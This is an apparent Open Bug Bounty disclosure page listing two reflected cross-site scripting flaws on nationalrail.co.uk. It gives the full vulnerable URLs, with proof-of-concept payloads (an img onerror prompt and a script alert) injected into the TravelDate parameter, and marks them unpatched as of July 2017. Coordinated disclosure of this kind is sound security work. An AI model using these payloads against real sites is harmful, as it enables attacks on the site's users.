nationalrail.co.uk Cross Site Scripting vulnerability

Open Bug Bounty ID: OBB-1146739 Security Researcher MajorInfluenza Helped patch 120 vulnerabilities Received 2 Coordinated Disclosure badges , a holder of 2 badges for responsible and coordinated disclosure, found a security vulnerability affecting nationalrail.co.uk website and its users...

nationalrail.co.uk XSS vulnerability

Vulnerable URL: http://www.nationalrail.co.uk/servicedisruptions/currentAndFuture.aspx?TravelDate=%22%3E%3Cimg%20src=x%20onerror=prompt%28%27OPENBUGBOUNTY%27%29%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:|...

nationalrail.co.uk XSS vulnerability

Vulnerable URL: http://www.nationalrail.co.uk/servicedisruptions/currentAndFuture.aspx?TravelDate=27%2F11%2F2016=gn%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...